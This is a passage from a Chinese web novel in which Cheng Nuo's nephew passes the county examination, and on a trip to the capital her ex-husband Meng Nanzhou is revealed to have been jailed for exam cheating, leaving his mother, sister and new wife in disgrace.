以与君的学识,其实根本不需要进学堂,直接参加童生考试即可,可惜想考童生必须要有学堂引荐。 一开始,学堂见他年纪稍大,并不想收,想借着考教的名义婉拒,是以选的考题并不容易,大多是诂训、经学相关的问题。 没想到程与君才识过人,对答如流,很快斩获夫子的喜爱。 并且过五关斩六将,一路通过童生考试,又经过前些日子的县试、府试,已经连续两门夺得榜首,只差通过院试就能当上秀才,若是院试也得了案首,那便是小三元。 别说是清河镇,就是整个永安县,也有一百多年没出过小三元,县太爷和知府老爷对此万分挂心,程家出了个天才少年的消息不胫而走,名声大噪。 院试定在八月,正好跟孟南洲准备的会试前后脚。 那几日,程家众人走路不敢出声,说话不敢大喘气,生怕影响程与君学习。 放榜那日,空中飘着细雨,巷口挤满了看热闹的人。 程诺早早让染坊歇了业,亲自撑着油纸伞,带着侄儿程与君站在门前,等候官府送来的消息。 一同等候的还有程家所有人,以及染坊助阵的大梨村百姓。 “小姑姑,我……”程与君攥着衣角,声音发颤。 “嘘……”程诺轻轻按住侄儿的肩膀,“你且看着。” 衙役敲着铜锣而来,人群顿时骚动起来。 当那朱笔誊写的榜单在雨中徐徐展开时,程与君的名字赫然列在第三一位。 “娘!中了!小姑姑,我中了!”少年郎君猛地转身,眼眶通红。 “功夫不负有心人!”顾寒栀哭花了脸。 程二顺一把将媳妇揽入怀里,“是你教导有方,教出个小三元来,媳妇,都是你的功劳。” 准备许久的鞭炮在此刻“噼里啪啦”响作一团。 “恭喜程秀才,贺喜程秀才。” “以后程家也是书香门第了,大吉大利,恭喜恭喜啊!” “与君这孩子从小聪明,安安静静一看就是干大事的料。” “何止啊,我瞧这孩子眉眼之间正气凛然,是个当大官的料,哈哈哈……” 相邻之间此起彼伏的恭贺声,显得雨都没那么大了,不多时雾散云开。 厚重的雨云仿佛被一只无形的手骤然撕开,金灿灿的日光如倾泻的鎏金,倏然泼洒下来。 雨水顺着青石板路蜿蜒流淌,打湿了程诺的绣花鞋尖,她却浑然不觉。 直到一把伞替她挡住雨水,程诺才猛然回过神。 “紧张?”十七一手撑伞,一手负在身后。 程诺笑道:“当然紧张,与君可是我们家出的第一个读书人,能不能飞黄腾达,给我求个诰命,就看他的了。” 十七唇角一勾:“你说错了吧,与君就算求诰命,也是给顾氏求,你是他姑母,几时轮到你?” 程诺瞪他,这人怎么专泼人冷水:“要是我家小盼儿能入朝为官,我自然不会将希望寄托在与君身上。” 十七眉眼弯弯:“其实你还有一个机会。” 第二百零二章 落榜 “什么机会?”程诺笑道:“你是想说,让我嫁给一个能帮我挣诰命的男人吧。” “也不失为一个方法。” 程诺摇摇头:“男人靠不住,你看我那白眼狼前夫就知道了,哎,听说他参加秋闱了,不知考得如何,老天保佑,落榜落榜。” 程与君中了小三元的消息,随着书信一同寄给远在京都的永乐侯府。 永乐侯夫人极力相邀程家来京做客,想着来此处这么久,还没进过皇城根下的富贵,程诺也想去玩一趟。 几个孩子听说要出远门,自是一个比一个兴奋。 当天下午收拾好行囊,留下程母赵氏看店,程诺、十七和顾寒栀带上孩子一起进了京。 到达京都那日,秋日的京城,天高云淡,正是最宜人的时节。 程诺掀起马车的帘子,一双杏眼瞪得溜圆。 京城的主街上,人流如织,车马如龙,叫卖声此起彼伏,比她想象中还要热闹十倍不止。 “阿娘,你快看那边!”小盼儿拽着她的袖子,指着窗外一座三层高的酒楼,“那楼顶上居然还有人在跳舞!” 程诺顺着女儿的手指望去,果然见那飞檐翘角上,几个身着彩衣的舞姬正随着乐声翩翩起舞,引得路人纷纷驻足观看。 她不由得抿嘴一笑:“京城果然不同凡响,连招揽客人的手段都这般别致。” 同坐车厢的十七睁开假寐的眸:“那是逍遥楼,京都最大的酒楼,多少人一夜豪掷千金,跳舞算什么,只要有钱,什么都能干。” 马车缓缓行驶在青石板铺就的街道上,车轮碾过时发出清脆的声响 街道两旁店铺林立,绸缎庄、茶楼、银号、药铺,一家挨着一家,招牌幌子在秋风中轻轻摇曳。 每家店铺门前都站着伶俐的伙计,见有客人经过便热情招呼。 “咱家的几间店铺若是能在这样的地段开一家分号……”程诺喃喃自语,眼中闪烁着精明的光芒。 “娘又在盘算生意了。”小盼儿撇撇嘴,“说好了这次是来京城游玩的。” 程诺笑着捏了捏女儿的脸蛋:“游玩归游玩,可咱们也不能白来一趟。” 她说着,从袖中取出一本小册子,翻开其中一页,上面密密麻麻记满了字迹:“你看,我已经打听好了京城最有名的几家早食铺子和胭脂布庄。今日咱们先去‘云想衣’和‘霓裳阁’看看,据说这两家的货色最好,价钱也最高。” 与华凑过来看,忽然指着窗外惊呼:“小姑快看!那边怎么那么多人?” 程诺抬头望去,只见前方不远处的广场上人头攒动,黑压压一片。 广场中央搭着一个高台,台上站着几个身着官服的差役,正在张贴什么。 车夫听到姐妹俩的对话,回头笑道:“诸位外地来的吧,来得巧了,今日正是秋闱放榜的日子,那些都是等着看榜的考生和家眷。” “秋闱放榜?”程诺眼睛一亮,“那可真是赶上了好时候。” 书中孟南洲就是在这场考试中大放异彩,后又在金銮殿上摘得魁首,位列状元之位。 这一世,剧情被改得乱七八糟,早不按照书中走向,不知道孟南洲是否还会继续上一世的命运,状元及第,位极人臣呢? 正想着,车夫突然停下马车,道:“不好意思诸位,前头实在是太堵了,劳烦几位下车走走。” “看来这场热闹是非看不可了。”程诺笑道。 马车在广场边缘停下,程诺和顾寒栀带着孩子们下了车,立刻被卷入欢乐的人潮中。 广场四周摆满了小吃摊,糖葫芦、炸糕、杏仁茶的香味混杂在一起;卖艺的、算命的、卖小玩意儿的吆喝声此起彼伏。 顾寒栀生怕在人群中走散,将几个小的拴在身边,程云和与君与华几个大孩子就跟在程诺身后,挤到人群前头,看热闹去了。 “十七兄弟,你看顾着点小姑她们。”顾寒栀在后头喊,十七背朝她抬手示意,表示明白。 不少衣着华贵的夫人小姐也在人群中,想必是来看自家子弟是否高中的。 巧了不是,程诺在人群中看到了老熟人。 孟思静和孟母。 难怪最近一段时间没听到她们在榴花巷骂街,原来是一早随着孟南洲进京了。 孟思静今天特地打扮过,穿得分外娇嫩,身边的孟母也是一身簇新的料子,想来是为了今天特地新做的。 二人鼻孔朝天,一脸倨傲。 “孟夫人,您家公子这次必定高中,到时候可别忘了我们这些老姐妹啊!”一个妇人奉承道。 孟母得意地摇着团扇:“那是自然,我家南洲自幼聪慧,三岁能诵《千字文》,五岁通《论语》。年纪轻轻中了秀才,去年又中了举,此次必在前三甲之列。” 孟母身边追捧的人不少,也不知怎么做到的,来京短短时间,竟然一下子结交这么多“老姐妹”。 就在这时,孟思静也注意到程诺。 “呦~追到京都来了,程四娘,你不会是专门来看我哥考得如何的吧?”孟思静用扇子挡住脸,眼里的嫌弃和嘲讽几乎要溢出来。 “老姐们”中有人问:“这位是?” 孟母眸中闪过一丝尴尬,很快调整神色,期期艾艾道,“是我儿好高骛远的前妻,成婚六年见我儿迟迟中不了举,闹得家宅不宁,最后没办法只能和离。” 此言一出,程诺收到无数眼刀。 孟思静却扬声道:“娘,你给她冲什么门面,明明是程四娘对你动手在前,跟人偷情在后,哥遭逢奇耻大辱,实在没办法才休了她,不知她怎么有脸来京都,我要是她,就应该找个地方躲起来,一辈子不见人,丢人现眼的东西。” 这话更是震惊四座,程诺周围的妇人小姐自发地往后退了三步,好像她是什么洪水猛兽,沾染上一点,都会弄脏她们的娇躯。 程云跟与华差点气得跳起来:“颠倒黑白,明明是你儿子中了举人,抛弃发妻,我小姑是受害者,你们怎么有脸说出这些话,狼心狗肺的东西。” 公说公有理婆说婆有理,大伙儿不知晓内情,难以分辨真假。 但一个是即将中榜进士的亲眷,一个是被读书人休弃的糟糠妻,而且瞧模样穿戴,两家人不论是财力还是地位相差太多,所有人自然而然更相信孟母和孟思静的话。 “你没犯错,为什么人家要休你。” “读书人最看重名声,一定是你做了什么事,导致婆母小姑丈夫没一个人愿意站在你这边。” “就是,我瞧这位夫人和小姐,面色和蔼,不是那等会刻意刁难人的性子,想必养出来的儿子钟灵毓秀,是天资聪颖的人上人,更不会做出抛弃发妻的丑事,一定是你的错。” 程诺按住十七想动手的冲动,眼中闪过一丝锋芒:“稍安勿躁。” 就在这时,楼上看客突然传来一阵喧哗声。 有人高喊:“放榜了!放榜了!” 茶楼里的客人纷纷起身下楼,涌向广场。 孟母顾不得再与程家人纠缠,拉着女儿急匆匆地往外走:“快去看看你哥哥中了第几名!” 程诺和孟南洲对视一眼,也决定跟上去看看热闹。 广场上已经挤得水泄不通,差役刚刚贴完榜,正高声宣读中举名单。 十七拉着程诺站在外围,远远地看见孟家母女挤到了最前面。 “一甲第一名,赵随风……” 人群中爆发出一阵欢呼。 程诺大喜,赵随风不就是秦清欢嫁的男人吗? 真厉害啊,第一名。 “二甲第一名,……” “三甲第一名,……” 所有名次一报出来,孟家母女顿时僵在原地。 孟思静不可置信地尖叫:“不可能!我哥哥怎么会没上榜呢!一定是弄错了!” 孟母脸色铁青,拉着女儿就要往台上冲:“我要看榜!一定是写错了名字!” 差役拦住她们,严肃地说:“夫人请自重,榜单绝无差错。” 孟母争辩道:“不可能,我儿子才华斐然,就算中不了第一名,也绝不可能不上榜!” 这一点,程诺是相信的,孟南洲确有真才实学在身上,不然也不会在前世高中状元。 她也很奇怪,为什么榜单上没有孟南洲的名字。 程诺跟十七对视一眼,十七很快明白:“我去查查。” 没多久,十七回来,小声在他耳边嘀咕两句,却将程诺吓了一跳。 恰好这时,差役被孟家母女二人烦得不行,烦躁道:“你儿子叫什么名字?” 他本是随口一问,每年考试的考生那么多,他哪会都记得。 “我儿姓孟,孟南洲。” 差役神色一变,原本看孟家母女穿得富贵,怕担心对方有背景,轻易招惹了会得罪人,这会儿彻底放下心,推搡母女的动作从小心翼翼变成毫不留情。 “滚滚滚,真是有什么娘教出什么样的儿子。” 孟母被推搡到地上,一肚子火:“你什么意思?你对我什么态度,我儿子以后是要当大官的,你敢推我,你吃不了兜着走。” “哈哈哈……”差役仰天大笑,“怎么着官太太,你还想治我的罪啊!” 孟思静:“放肆!无知鼠辈,只配一辈子当个小小差役!” 差役一脚踹在她腰窝上,眼神冷得要砍人:“我是官差,你是平民,顶撞官差我现在就抓你进大牢,信不信?” “我哥……” “你哥?哈哈哈……”几个差役相互对视,纷纷笑出声,“你哥科考舞弊,被监考官抓个正着,人赃俱获,已经下大狱了,朝廷剥夺他的举人头衔,永远不许再参加科举,听明白了吗?是永远不许再科举!” 孟母和孟思静如遭雷劈,好半晌没反应过来。 二人脸上血色尽失,口中喃喃,“不可能,绝不可能,你骗我,你一定是骗我们的!” 周围的人群开始窃笑。 有知情人道:“好像是真的,确实有位姓孟的考生被发现舞弊,说来真是可惜,他携带的小抄,跟考场上的内容并不相关,考官看了他的答卷,答得挺好的,就算进不了一榜,二三榜的进士完全没问题,不知他怎么想的,非要夹带私货进考场,生生葬送了大好前途。” “这不算新鲜事,越是有才华的,越是担心在大考中失利,心里压力大,怀疑自己,带着的小抄更多是为了平稳内心。” “管他为了什么,舞弊本就不对,朝廷对他的判决公平公正,若是人人都像他一样,朝廷的科举成什么样了?” “想来姓孟的考生人品不咋样,刚才他娘说前媳妇偷人,我就觉得不对劲,放着好好的举人丈夫不要,跑去找鳏夫,脑子坏了吧。” 先前站在孟母这边的看客们,此时一阵风倒向程诺,甚至不需要她张嘴,已经将母女两羞臊得没脸。 只是这点辱骂落在孟家母女耳中,对比孟南洲再也不能科举的震撼,实在算不得什么大事。 孟家母女在众人的嘲笑声中狼狈不堪。 孟思静千金小姐的美梦破裂,此刻整个人像是魔怔了,忽然看见了站在不远处的程诺,指着她尖声道:“都是你!是你带来了晦气!你个扫把星!” 程诺不卑不亢地说:“此言差矣,科举取士,全凭真才实学,与我们何干?你兄长偷奸耍滑,舞弊被抓是他活该。 不过做不成官也没关系,日后买上几亩良田照样能活,哦,我忘了,你们一家肩不能挑手不能提,过惯被人伺候的好日子,只是从前有我父兄帮衬,日后怕只能靠你们那位新儿媳了,我想她乐意之至,毕竟我跟另兄还未分开之时,二人已勾搭成奸,珠胎暗结,偷来的东西总是会格外珍惜,你们说是不是?” 她这番话看似客气,实则绵里藏针,引得周围人又是一哄笑。 第二百零三章 后悔 孟思静还想借着亲哥飞黄腾达,找个好人家,如今孟南洲失去科举资格,这辈子跟做官无缘,但凡门第高些的人家,哪个肯娶她过门。 失落像是席卷而来的狂风,几乎将孟思静摧毁。 为什么会这样? 冯知意不是说,她哥必定高中状元,日后位极人臣吗? 她哥做不了官,一个只知道读书的书呆子,日后能干什么? 孟思静泪如雨下,扑在孟母怀里,泣不成声:“娘,怎么办,我们日后怎么办?” 孟母正烦躁,被孟思静的哭声扰得更加不悦,一巴掌扇在她脸上:“哭有什么用!” 这两日她们连住客栈的钱都是欠的,就等着孟南洲高中后,客栈掌柜溜须拍马减免房费,如今二人身上最后一点银子买了新衣,去哪找银子。 还有! 孟南洲还在牢狱中,不知道会被扣押多久,打听消息,疏通关系,都要用银子。 家里还有个刚出生的小的,一个坐月子的大的,每日银子流水花出去……冯知意这贱人,就是她一天到晚在耳边说她儿子此次一定能考中状元,她才敢花钱没顾忌。 没错,都怪冯知意。 丧门星,自从娶了她,家里过的一日不如一日,再看程四娘,离开她儿子后,店面越开越多,钱堆山码海了吧,仔细看,好像连脸上的伤疤也淡得几乎看不清了,站在那儿,远远看过去,还以为是哪家的贵女。 身旁的小赔钱货,也养得水灵,没了从前皮包骨的丑态。 这一切,本应该都是她儿子,都是她孟家的产业。 若不是冯知意蓄意勾引,惹得她儿子婚内出轨,也不会有之后一大堆糟心事。 是冯知意这个孤女偷走了孟家的气运,没错,一定是这样。 思及此,孟母立刻从地上爬起来,像是找到宣泄口一般,往客栈方向冲去。 留在客栈照顾儿子的冯知意,还不知道外头发生的事。 孟南洲先来的京都,在考试前夕,她们决定一起去京都看榜单,虽然是板上钉钉的事,冯知意还是想亲眼看到这辈子重新选择的男人功成名就。 是以,她拿出所有存银,带着孟家母女一起上了京。 为了给孟南洲惊喜,她事先并没有告知几人来京,就等着发榜这一天,出现在孟南洲面前给他惊喜。 所以孟南洲被官府关押的事,一直没传到几人耳中。 冯知意轻轻摇晃着怀中的婴孩,哼着一支江南小调。 窗外的秋阳透过雕花窗棂洒进来,在客栈的地板上投下斑驳的光影。 “安儿乖,爹爹马上就要高中回来了。”她低头亲吻婴儿光洁的额头,嘴角噙着掩不住的笑意,“等爹爹做了官,咱们就能住大宅子,给你请最好的奶娘和先生。” 孩子在她温柔的歌声中渐渐合上眼睛,小拳头松开了,露出一个满足的笑容。 冯知意小心翼翼地将孩子放在床榻上,掖好锦被,这才直起有些酸痛的腰。 “姑娘,要不要先用些点心?”丫鬟琼枝轻声问道,“您从早上到现在都没吃东西。” 冯知意摇摇头:“等西洲和婆母她们回来再吃吧,吩咐店家置办的酒席,准备好了吗?” 她的目光不由自主地飘向窗外,希望能透过重重屋宇看到放榜的广场。 琼枝瘪瘪嘴:“别提了,掌柜的看我们好几日没交房钱,非让我先拿出酒席银子,才肯为我们准备。” 冯知意冷哼一声:“眼皮子浅薄的东西,日后巴结都赶不上趟!” 琼枝边给主子顺气,边安慰道:“别跟他们一般见识,等姑爷中一甲的消息传来,看他们还敢不敢猖狂,奴婢非好好臊一臊掌柜的不可!” 二人正沉浸在美好的想象中,房门突然被"砰"的一声踹开。 冯知意吓得从椅子上弹起来,只见孟母披头散发地冲了进来,双目赤红,脸上的脂粉被泪水冲得沟壑纵横。 “婆母?怎么了?是不是西洲他……”冯知意的话还没说完,一记响亮的耳光就扇在了她脸上。 火辣辣的疼痛让冯知意眼前一黑,踉跄着后退几步撞在桌角上。 她还没反应过来,孟母已经扑上来揪住她的头发,另一只手狠狠地掐她的胳膊。 “丧门星!扫把星!都是你这个贱人害的!”孟母歇斯底里地尖叫着,唾沫星子喷了冯知意一脸,“自从你进了我孟家的门,就没一件好事!现在连我儿的前程都毁在你手里!” 柳婉如被打懵了,只能本能地用双臂护住头脸。小翠冲上来想拉开崔夫人,却被一把推开,撞在墙上。 床上的孩子被惊醒,“哇”的一声大哭起来。 这哭声似乎更加刺激了孟母,她松开冯知意的头发,转而抄起桌上的茶壶就要往孩子那边砸去。 “不要!”冯知意尖叫一声,好在茶壶打偏了,并未伤到孩子,却还是将刚睡醒的娃娃吓了一大跳。 冯知意此刻顾不上大哭的儿子,颤抖着声音问:“到底出了什么事?” 孟母像是被抽走了全身力气,突然瘫坐在地上,嚎啕大哭起来。 只剩下孟思静魂不守舍:“完了……全完了……我哥被革除功名,还要下大狱……我的荣华富贵彻底没了……” 冯知意如遭雷击,床榻上的孩子哭得更厉害了,但她已经听不见。 耳边只有嗡嗡的响声,仿佛有人在她脑袋里敲起丧钟。 “革除……功名?”她机械地重复着,不敢相信自己的耳朵,“怎么会……不可能,他中状元了,他不是会中状元的吗?” “都是你!都是你这个丧门星带来的晦气!”孟母又激动起来,指着冯知意的鼻子骂道,“是你一天到晚说我儿会中状元,弄得他压力大,吃不好睡不好,情急之下走了歪路……” 冯知意突然明白了什么,脸色刷地变得惨白:“他……他不会……” 孟母捶胸顿足:“舞弊!那个不争气的东西居然舞弊!被当场抓了个正着!现在全京城都知道了,他的仕途彻底完了,你诰命夫人的美梦也到头了,我们全都完了,哈哈哈……” 孟母又哭又笑,像是疯癫了一般。 这个消息如同一桶冰水浇在冯知意头上。 科举舞弊是大罪,轻则革除功名永不录用,重则流放充军。 孟南洲这辈子算是彻底毁了,那她当初选择孟南洲,岂不成了笑话? 一个入不了仕的男人,跟废物有何区别? 她现在回侯府还来得及吗? 她现在当回侯府嫡小姐,还有机会吗? 就算入不了东宫,嫁个有前途的进士,对永乐侯来说应该是轻而易举的事情吧? 就在这时,客栈楼下又传来一阵嘈杂声,接着是沉重的脚步声上楼。 几个身着皂隶服饰的官差出现在门口,为首地亮出一纸公文。 “孟冯氏、孟柳氏听令!孟南洲科举舞弊一案,着令查封孟家全部财产,家属即刻离京,不得延误!” 冯知意双腿一软,官府的人怎么会知道她们住在这儿? 明旨一发,她就是孟南洲板上钉钉的夫人,就算回了侯府,也没用了。 孟母和孟思静则直接晕了过去。 官差冷眼旁观,厉声道:“给你们一个……半个时辰收拾细软,过后官家就要拿人了!” 待官差离开,房间里死一般的寂静。 冯知意机械地收拾着孩子的衣物,脑中一片空白。短短一个时辰前,她还做着官夫人的美梦,现在却要沦为罪臣家属,被驱逐出京。 她走到窗前,望着外面繁华的京城街景。 恰在此时,一队喜气洋洋的人马从街上经过,敲锣打鼓,高举“两榜第一”的牌子。 “听说金科第一是永乐侯府的新女婿,”琼枝小声说道。 冯知意苦笑一声。 命运何其讽刺,曾经被她百般嫌弃的穷举子,摇身一变两榜第一,很可能明朝就是状元,而她自诩重生慧眼识珠的孟南洲,却因为舞弊而身败名裂,沦为笑柄。 她不能跟着孟南洲吃苦受罪,她要回侯府。 依照上一世秦家夫妻对她的态度,只要她不吵不闹,多说这些年的不易,她们肯定会给她一席之地。 当个侯府锦衣玉食的千金,不比跟着孟家吃苦受罪强多了吗? 至于孩子…… 既然是孟家的骨血,那就留在孟家…… 她这辈子注定是为自己而活的!